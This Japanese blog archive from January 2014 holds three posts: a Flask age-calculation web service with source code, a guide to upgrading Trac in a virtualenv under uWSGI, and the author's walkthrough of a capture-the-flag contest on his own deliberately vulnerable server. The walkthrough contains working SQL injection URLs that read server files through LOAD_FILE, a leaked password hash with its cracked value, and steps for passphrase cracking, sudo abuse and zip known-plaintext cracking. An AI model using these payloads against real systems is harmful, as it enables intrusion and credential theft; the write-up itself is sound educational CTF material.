Posts for the month of January 2014

curlで叩ける年齢計算サイト

本日のやっつけ仕事です。

きっかけ

作った

http://age.x86-64.jp/

使用例
http://age.x86-64.jp/1991/12/29Age: 22というレスポンスを得る。

しくみ

WebフレームワークはFlask, アプリケーションサーバはこのTrac同様にuWSGIです。フロントエンドはnginxです。

ソースコード

from flask import Flask
from datetime import date

app = Flask(__name__)
app.config.update(
    DEBUG=False,
)

@app.route('/')
def usage():
    return "Usage: http://age.x86-64.jp/yyyy/mm/dd <br> curl recommended."

@app.route('/<int:yyyy>/<int:mm>/<int:dd>')
def calculate(yyyy, mm, dd):
    """This part is from Stack Overflow: http://stackoverflow.com/a/2217537/1402144"""
    birthday = date(yyyy, mm, dd)
    today = date.today()
    years = today.year - birthday.year
    if all((x >= y) for x,y in zip(today.timetuple(), birthday.timetuple())):
        age = years
    else:
        age = years - 1
    """End StackOverflow"""
    return "Age: %d" % age

if __name__ == '__main__':
    app.run() # Change this to "pass" in order to run this via uwsgi.

はまってたところ

最初、calculate(yyyy, mm, dd)の返り値にageという変数を直接使おうとしていた (つまりreturn age) が、

TypeError: 'int' object is not callable.

というエラーを得た。上記のようにsprintfっぽく、return "%d" % age"として解決。

Tracを1.0.1にアップグレードしました

くりすです。

本サイトのTracを0.12.3から1.0.1にアップグレードしましたので、その手順をメモしておきます。

もくじ

  1. ねらい
    1. 構成の細分化とは
    2. virtualenvって何だ
  2. アップグレードの実行
    1. virtualenvのセットアップ
    2. virtualenvを使った、最新版Tracのインストール
    3. Tracを0.12.3から1.0.1にアップグレードする
    4. uwsgiの設定を書き換える

1. ねらい

今回Tracを1.0.1にアップグレードするにあたって、単なるアップグレードではなく、サーバの構成をより細分化することも目的としました。

1.1. 構成の細分化とは

ここでいう構成の細分化とは、システムに搭載する個々のアプリケーションの影響範囲をできるだけ小さくする工夫です。

さて、私が使っているUbuntu 12.04 LTSのサーバには、パッケージマネージャを使ってTracをインストールすることができます:

# apt-get install trac

ところが、パッケージマネージャを使う方法には次のようなデメリットがあります:

  • パッケージマネージャで提供されるアプリケーションは必ずしも最新版ではない
  • システム全体に対してインストールすることになってしまうので、サーバの構成への影響が大きい
    • レンタルサーバなどを使っていてroot権限を持っていない場合などは、そもそもこの方法を用いることができない

そこで、virtualenvを用いて、専用のPython環境を構築することにしました。

1.2. virtualenvって何だ

virtualenvとは、Python環境のセットを好きなだけ錬成するしくみ、つまりPythonの仮想環境です。

virtualenvを使うと、

  • システムのPythonに影響を及ぼさない
    • 一般ユーザの権限でもライブラリのインストールが容易
    • /etc/usrなどに余計なファイルを作らない
    • パッケージマネージャで入れたライブラリと競合しない
  • 必要なだけ専用のPython環境を作ることができる
  • Pythonのバージョンが選べる

といったメリットを得ることができます。

2. アップグレードの実行

以下、例示しているディレクトリは/home/trac/curが従来のTrac環境、/home/trac/newが新しいTrac環境を表します。各自の環境に合わせて読み替えてください。

2.1. virtualenvのセットアップ

virtualenvはサラのUbuntuには入っていませんでしたので、インストール。

# apt-get install python-virtualenv
  1. まず、現在のデータをコピーします。
    $ rsync -a /home/trac/cur/ /home/trac/new
    
    rsyncコマンドにおいて、末尾の`/`のあるなしは極めて重要です。
  1. /home/trac/new下にvirtualenvを生成します。root権限は必要ありません(したがってsudoも不要)
    $ cd /home/trac/new
    $ virtualenv env
    
    そうすると、5秒ほどで専用のPython環境/home/trac/new/envが爆誕します。コマンド引数の内容は任意で、たとえば
    $ virtualenv trac_python_env
    
    とすれば、/home/trac/new/trac_python_envが生まれます。
  1. 新しく作ったPython環境を起動します。
    $ source env/bin/activate
    
    そうすると、先ほど生成したPython仮想環境が起動し、
    (env)$
    
    というプロンプトに変化します。(env)という表示は、envという名称のvirtualenvを使用していることを示します。

2.2. virtualenvを使った、最新版Tracのインストール

新しく作ったPython環境においては、基本的にeasy_installあるいはpipを用いて追加モジュールのインストールをします。中にはGenshi(後述)などコンパイルを要するモジュールもあるので、build-essentialを用意しておいたほうがよいでしょう。

# apt-get install build-essential
  1. (env)が起動している状態で、pip install tracを実行します。root権限やsudoは不要。
    (env)$ pip install trac
    
    Tip: Tracがレンダリングに用いるGenshiというモジュールは、高速化のためにPython.hというC++ヘッダファイルを使ってコンパイルするので、
    # apt-get install python-dev
    
    としてこれをインストールしてやると、Genshiの高速化機能の恩恵を受けることができます。

2.3. Tracを0.12.3から1.0.1にアップグレードする

Tracのアップグレードについては詳しい手順は公式ドキュメントに譲ります。要約するとこんな感じです:

(env)$ cd /home/trac
(env)$ trac-admin new upgrade
(env)$ trac-admin new wiki upgrade

これで、Tracは最新版(1.0.1)になりました。最後に、uwsgiの設定を更新しましょう。

2.4. uwsgiの設定を書き換える

本ブログの一番最初の記事に記載していますtrac.xmlがベースです。これを/etc/uwsgi/sites-available/trac.xmlとして準備します。

Note: これはuwsgi 1.0.3-debian 用の設定です。最新版のuwsgi(2.0)では異なる部分が結構あるので、その場合以下は参考にできないかもしれません。

  • .xml

    old new  
    11<uwsgi>
    22    <socket>127.0.0.1:7777</socket>
    33    <plugin>python</plugin>
    4     <env>TRAC_ENV=/home/trac/cur</env>
     4    <env>TRAC_ENV=/home/trac/new</env>
     5    <virtualenv>/home/trac/new/env</virtualenv>
    56    <module>trac.web.main:dispatch_request</module>
    67</uwsgi>

Note: アップグレードなので/etc/uwsgi/sites-enabled/trac.xmlは既に/etc/uwsgi/sites-available/trac.xmlのシンボリックリンクとして存在します。

nginxの設定には変更はありません。

最後に、uwsgiを再起動してアップグレード作業は完了です。

# service uwsgi restart

次はnginxを1.4.4に、uwsgiを2.0にアップグレードしたいので勉強します。

あとUpstartを用いて、uwsgiをソケットアクティベーション型の運用にしたいですね。
Running uWSGI via Upstart --- uWSGI 2.0 Documentation

年越しCTF x86-64.jp大会 2014 を開催しました

あけましておめでとうございます。くりすです。今年もよろしくお願いします。


さて、年越しCTF x86-64.jp大会 2014 なるイベントを開催しましたが、参加者のみなさま、お楽しみいただけましたでしょうか?

以下に、年越しCTF x86-64.jp大会 2014 問題の解説記事を記します。

もくじ

  1. ルール説明
  2. 問題解説
    1. 第1段階 - Webアプリケーション
    2. 第2段階 - サーバへの侵入
    3. 第3段階 - パスワード付きzipへの攻撃
  3. 優勝者紹介
  4. 苦労話その他エピソード等

1. ルール説明

はじめに、ルールをおさらいします。

ルールは簡単。ターゲットサーバ最深部にあるキーを入手し、提出するだけ。あらゆる手を尽くして構いません。

楽勝そうですね。では、いってみましょう。

2. 問題解説

第1段階 - Webアプリケーション

ルール説明に従ってhttp://target.ctf.x86-64.jp/にアクセスすると、「ほげ大学科目データベース」と称する、ネーミングが適当な大学の科目紹介ページに到着します。このページはPythonのFlaskというマイクロフレームワークを使って作られております。

さて、いくつかページ上のリンクをたどってみます。

http://target.ctf.x86-64.jp/show/GB10114

線形代数Iに関する科目説明が現れる

http://target.ctf.x86-64.jp/show/GB11911

データ構造とアルゴリズムに関する科目説明が現れる

といったふうに、URLのパスを直接パラメータとして扱っているようです。ここにSQLインジェクションを仕掛けてみましょう。

  1. まずは、UNION ALL SELECT null攻めをします。
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,@@VERSION;--
    
    このように、nullを10個と@@VERSIONを並べてUNIONクエリを発射すると、「備考」欄に5.5.34-0ubuntu0.12.04.1と出現し、SQLインジェクションの成功が確認できます。
  1. 次に、SQLインジェクションによってどんな操作が行えるか確認しましょう。
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,grantee,privilege_type,is_grantable%20FROM%20information_schema.user_privileges;--
    
    こうすると、kamokudb@localhost, FILE, NOという応答を得ます。FILE権限があるようですね。ローカルファイルインジェクションをやってみましょう。
  1. /etc/nginx/nginx.conf をMySQL経由で読み取ってみましょう。
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f6e67696e782f6e67696e782e636f6e66);--
    
    こうすると、/etc/nginx/nginx.confを引っ張りだすことができます*1LOAD_FILE()の引数が16進数なのは、ASCIIのスラッシュが含まれるとパスと認識されて404 Not Foundという結果になってしまうからです。 その結果、nginx.confが備考欄に見事に出力され、/etc/nginx/conf.d/ctf.confというファイルをインクルードしていることを暴露します。
  1. /etc/nginx/conf.d/ctf.conf をMySQL経由で読み取る
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f6e67696e782f636f6e662e642f6374662e636f6e66);--
    
    これにより、nginxで/adminが提供されており、さらに/etc/nginx/conf.d/admin.passwdの存在を知ります。
  1. /etc/nginx/conf.d/admin.passwd を読み取り、クラックする
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f6e67696e782f636f6e662e642f61646d696e2e706173737764);--
    
    これにより、
    admin:$apr1$Zbv59eGR$GoMlmiqujrkVOgm8QbMcL/
    
    を得ます。John The Ripperでも使えばクラックできます。ちなみに、パスワードはmanukeです。

2. サーバへの侵入

これで、 http://target.ctf.x86-64.jp/admin への侵入が完了しました。次は、サーバ自体への侵入を行います。

/admin は、サーバのファイルシステムの/home/ctfを表示するファイルマネージャです。ご丁寧にドットファイル系もばっちり表示してくれるので簡単ですね。.bash_history (途中で問題都合で.zsh_historyになりました) を開きましょう。

wget https://www.dropbox.com/s/************/id_rsa

Dropboxに秘密鍵をアップロードするとかとんだお馬鹿さんですね。問答無用でダウンロードし、使ってみましょう。しかし、どのユーザに対する鍵か分からないし、そもそもこのid_rsaはパスワードがかかっています。

  1. まずは、id_rsaのパスワードを解きましょう。 よくあるパスワードを試したり、総当たり攻撃でパスワードを暴いたりすればいけます。たとえば、ssh-privkey-crackなるツールがあります*2。 パスワードはpwnedです。
  1. 誰に対して使えるキーか、見当をつけましょう。 またSQLインジェクションに戻ります。
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f706173737764);--
    
    これは、/etc/passwdを表示するペイロードです。じっくり眺めてみると、chris, ctf-kamokudb, ctf, takashiあたりが狙えそうだということが分かります。

このキーが使えるアカウントは、ctfです。

  1. キーを探しましょう。 /home/ctf直下には偽物しかないので、どこか別のパスに隠されているはずです。/etc以下を調べると、/etc/sudoers.bakという、パーミッション444のファイルが見つかります。大当たりですね。
    ctf     ALL=(takashi) NOPASSWD: /bin/cat
    ctf     ALL=(takashi) NOPASSWD: /bin/ls
    
    たいへんよい。これらの権限を使えば、/home/takashi/Desktop/README.txtを見つけることは容易です。

このREADME.txtを読みます。

Impressive! You have reached the very depth of this server!

FINAL CHALLENGE: The key is right here... https://www.dropbox.com/s/qc7vo2o7ndmqu0n/lolz.zip
Download the zip file to your local machine and see what you can do. Good luck!

zipファイル中にキーが眠っているようです。

3. パスワード付きzip対する攻撃

先ほどダウンロードしたzipファイルを解凍してみましょう。できませんね。パスワードがかかっています。

でも、心配ご無用。なんとこのzipファイル、js/jquery.jsという、みなさんも容易に手に入れることができるファイルが一緒に保管されているのです。zipファイルの暗号は、選択平文攻撃という攻撃に対して脆弱であることが分かっており、実際に暗号化zipを解読するツールもあります。そのひとつが、pkcrackです。

(わたしがビルドしたときは)ちょっと人力パッチを当てる必要がありましたが、こいつを使えば、どんなに長いパスワードが使われていようと、zipの暗号を30秒ほどで解いてしまうことができるのです。

  1. クラックの準備をする zipに対する選択平文攻撃を行うためには、jquery.jsを同じアーカイブ方式、同じファイルシステムでzipに圧縮します。Linuxで zip jquery.zip jquery.jsを実行すれば大丈夫です。Windowsでやると失敗します。
  1. クラックする
    pkcrack -c js/jquery.js -p jquery.js -C lolz.zip -P ~/jquery.zip -d decrypted-lolz.zip
    
  1. 解読されたzipを解凍し、HERE_IS_THE_KEYを読み、キーをsubmitする。

註釈等

*1 本来はAppArmorによって保護されている部分ですが、CTFに供するためにわざと脆弱な設定を施しました。
*2 http://neophob.com/2007/10/ssh-private-key-cracker/


お疲れ様でした。以上が、年越しCTF x86-64.jp大会 2014の全容です。お楽しみいただけましたでしょうか!!

3. 正解者紹介

早着順(敬称略)です。

4. 苦労話、与太話

ここまでくるともう書くのだるいから箇条書きで。

  • .bash_history.zsh_history, ~/.ssh/authorized_keysを消されまくった
    • chattr +iして対処
  • uwsgiがハングした
    • supervisorctl restart allをcronで定期的に実行するようにした
  • /etc/sudoersを問題に盛り込もうとパーミッションを444にしたら、sudo自体が死んだ
    • /etc/sudoers.bakで代用

そんな感じですね。パーミッションがらみでミスってて、先にサーバに到達した参加者に妨害工作を受けたりしました。


ここまでのお付き合い、ありがとうございました。SECCON 2013 全国大会で、そしてtkbctf3で、また会いましょう。

The End